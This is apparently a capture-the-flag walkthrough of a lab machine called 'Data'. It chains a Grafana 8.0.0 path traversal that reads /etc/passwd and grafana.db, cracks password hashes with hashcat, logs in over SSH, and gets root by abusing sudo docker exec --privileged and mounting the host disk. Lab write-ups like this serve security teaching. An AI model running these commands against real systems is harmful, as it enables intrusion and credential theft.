1153 words
6 minutes
Data

Initial Reconnaissance#

Nmap Scan#

I began the assessment with a comprehensive Nmap scan to identify open ports and running services on the target machine:

Terminal window
└─$ nmap -sV -vv -p- -A --min-rate 3000 -oN data.txt 10.129.179.91
Nmap scan report for 10.129.179.91 (10.129.179.91)
Host is up, received echo-reply ttl 63 (0.063s latency).
Scanned at 2025-10-03 23:39:48 +01 for 37s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzybAIIzY81HLoecDz49RqTD3AAysgQcxH3XoCwJreIo17nJDB1gdyHYQERGigDVgG9hz9uB4AzJc87WXGi7TUM0r16XTLwtEX7MoMgmsXKJX/EoZGQsb1zyFnwQR00xsX2mDvHpaDeUh3EtsL1zAgxLSgi/uym4nLwjTHqpTmm0shwDqlpOvKBbL7IcQ3vVKkmy7o7TG7HYMHiDYF+Aw5BKnOTuVoMgGy3gaFXJqyhszV/6BD9UQALdrtAXKO3bO4D6g5gM9N78Om7kwRvEW3NDwvk5w+gA6wDFpMAigccCaP/JuEPoeqgV3r6cL4PovbbZkxQScY+9SuOGb78EjR
| 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGUqvSE3W1c40BBItjgG3RCCbsMNpcqRV0DbxMh3qruh0nsNdNm9QuTflzkzqj0nxPoAmjUqq0SolF0UFHqtmEc=
| 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDOwcGGuUmX8fQkvfAdnPuw9tMrPSs4nai8+KMFzpvf
3000/tcp open http syn-ack ttl 62 Grafana http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: C308E3090C62A6425B30B4C38883196B
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Grafana
|_Requested resource was /login
|_http-trane-info: Problem with XML parsing of /evox/about
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=10/3%OT=22%CT=1%CU=41988%PV=Y%DS=2%DC=T%G=Y%TM=68E050D
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST1
OS:1NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 13.337 days (since Sat Sep 20 15:35:03 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
1 67.17 ms 10.10.14.1 (10.10.14.1)
2 67.26 ms 10.129.179.91 (10.129.179.91)
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

The scan revealed only two open ports:

  • Port 22/tcp: SSH service running OpenSSH 7.6p1
  • Port 3000/tcp: HTTP service running Grafana

Grafana Version Identification#

Navigating to the Grafana web interface, I identified version 8.0.0 running on the target system.

alt text

Exploiting the Path Traversal#

This version was significant as Grafana 8.x is vulnerable to a path traversal vulnerability that allows local file read, as documented in this HackerOne report.

Using the PoC detailed in the HackerOne report, I crafted a request to read /etc/passwd through the path traversal:

Terminal window
└─$ curl "http://10.129.102.172:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Since I had file read access, I targeted the Grafana database file which typically contains user credentials and configuration data:

Terminal window
└─$ curl "http://10.129.102.172:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db" --output grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 584k 100 584k 0 0 1262k 0 --:--:-- --:--:-- --:--:-- 1261k
Terminal window
└─$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 423, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 423

Using SQLite Browser, I explored the database structure and discovered the user credentials table containing password hashes for two users: the admin user and another user named boris.

alt text

Password Hash Analysis and Cracking#

Hash Format Conversion#

To crack these hashes, I needed to convert them to a hashcat-compatible format using the grafana2hashcat script.

I extracted the password hashes and their associated salts into a structured format (hash,salt):

Terminal window
└─$ cat hashes.txt
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S

Using the grafana2hashcat conversion script, I transformed these into a hashcat-compatible format:

Terminal window
└─$ python3 grafana2hashcat.py hashes.txt -o hashcat_hashes.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: hashes.txt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to 'hashcat_hashes.txt' file.
[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt
Terminal window
└─$ cat hashcat_hashes.txt
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=

Password Cracking#

With the hashes in the correct format, I launched a dictionary attack using hashcat:

Terminal window
└─$ hashcat --username -m 10900 hashcat_hashes.txt /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

The password cracking was successful, revealing that the user boris had a weak password: beautiful1.

Initial Access#

SSH Authentication#

With the cracked credentials, I attempted SSH authentication to the target system:

Terminal window
└─$ ssh boris@10.129.102.172
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Oct 4 10:43:12 UTC 2025
System load: 0.02 Processes: 206
Usage of /: 41.2% of 4.78GB Users logged in: 0
Memory usage: 21% IP address for eth0: 10.129.102.172
Swap usage: 0% IP address for docker0: 172.17.0.1
Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.
122 additional security updates can be applied with ESM Infra.
Learn more about enabling ESM Infra service for Ubuntu 18.04 at
https://ubuntu.com/18-04
Last login: Wed Jun 4 13:37:31 2025 from 10.10.14.62
boris@data:~$ whoami
boris

Successfully gained initial access to the system as user boris. it was running Ubuntu 18.04.6 LTS with Docker installed (evidenced by the docker0 interface).

Post-Exploitation and Privilege Escalation#

Sudo Privileges Assessment#

I tried to check what sudo privileges the current user had:

Terminal window
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *

This was a significant finding as the user boris could execute docker exec commands as root without a password. This presented a clear path to privilege escalation through Docker container manipulation.

Docker Container Enumeration#

To identify running Docker containers, I used systemd-cgtop to display container information:

Terminal window
systemd-cgtop

alt text

The output revealed a running Docker container with ID e6ff5b1cbc85c.

Docker Privilege Escalation#

With the ability to execute docker exec as root and a running container identified, I crafted a command to gain root access by executing a privileged shell inside the container:

Terminal window
boris@data:~$ sudo docker exec --privileged -it -u root e6ff5b1cbc85c bash
bash-5.1# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/snap/docker/common/var-lib-docker/overlay2/l/2RMRALAZ4X3ETWWAFIO4URLCKU:/var/snap/docker/common/var-lib-docker/overlay2/l/C32RR2IYKIVOXMXZVRUH2EGVMU:/var/snap/docker/common/var-lib-docker/overlay2/l/CAVZGWG6DT37UBOHM6XHIUZUD5:/var/snap/docker/common/var-lib-docker/overlay2/l/3ATFAZLXUKTZ62T23IWWGNRXD2:/var/snap/docker/common/var-lib-docker/overlay2/l/42TJD6WDSINN56AZRW55R3ICO6:/var/snap/docker/common/var-lib-docker/overlay2/l/UTHFBRCC4KFYKXNBPIO52AZ7OQ:/var/snap/docker/common/var-lib-docker/overlay2/l/ZJJZSZR34MKC5KWMDRYIC4Q62C:/var/snap/docker/common/var-lib-docker/overlay2/l/EAWF5T66G6Z67H3LBO75E3NZCC:/var/snap/docker/common/var-lib-docker/overlay2/l/LMHE5BSBLFJITZ67RL5JIEM4SC,upperdir=/var/snap/docker/common/var-lib-docker/overlay2/90a0267386b75303aabacd2f202af4682d69d52a6d2e7e85ee93c3401e0938e3/diff,workdir=/var/snap/docker/common/var-lib-docker/overlay2/90a0267386b75303aabacd2f202af4682d69d52a6d2e7e85ee93c3401e0938e3/work,xino=off)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime)

I now had root access inside the Docker container. The key insight here was that the host’s filesystem was accessible from within the container, as evidenced by the /dev/sda1 mounts.

Host Filesystem Access#

To access the host filesystem and escalate to root on the host system, I mounted the host’s root filesystem:

Terminal window
bash-5.1# mount /dev/sda1 /mnt

Root Access Achievement#

With the host filesystem mounted, I navigated to the root directory and successfully accessed the root flag:

Terminal window
bash-5.1# cd /mnt
bash-5.1# ls
bin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
boot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz
bash-5.1# cd root/
bash-5.1# ls
root.txt snap
bash-5.1# cat root.txt
581d576d3f354b7ceca1b41760ce0596
bash-5.1#
Data
https://dahmanisec.me/posts/data/
Author
Abderrahim Dahmani
Published at
2025-10-03
License
CC BY-NC-SA 4.0